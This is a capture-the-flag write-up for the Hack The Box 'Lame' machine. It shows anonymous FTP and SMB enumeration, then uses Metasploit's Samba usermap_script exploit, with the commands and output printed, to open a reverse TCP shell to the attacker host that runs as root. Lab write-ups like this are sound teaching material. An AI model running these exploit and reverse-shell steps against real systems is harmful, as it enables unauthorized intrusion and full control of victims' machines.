This is the first box in HTB and it was so easy. You can get root shell from vulnerable smb service.We don't need to escalate to get root shell.

```

There is four port open and `FTP` can login with `anonymous` user.

### FTP Anonymous

```javascript
┌─[sheinn101@parrot]─[~/htb/lame]
└──╼ [??]$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)

331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

But there is no interesting files.

### SMB Enumeration

When we login with anonymous using `smbclient`, it will show us `Samba 3.0.20-Debian`&#x20;

```javascript
┌─[sheinn101@parrot]─[~/htb/lame]
└──╼ [??]$ smbclient -L 10.10.10.3
Enter WORKGROUP\sheinn101's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME
┌─[sheinn101@parrot]─[~/htb/lame]
└──╼ [??]$ 
```

Let's find exploit for that in `metaspl`o`it`&#x20;

### Getting Root by Metasploit

```javascript
msf6 > search Samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > 
```

```javascript
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost tun0
lhost => tun0
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Command shell session 1 opened (10.10.14.6:4444 -> 10.10.10.3:32852) at 2021-12-21 13:27:48 +0630

id
uid=0(root) gid=0(root)
whoami
root
```

Now we get a shell as root.
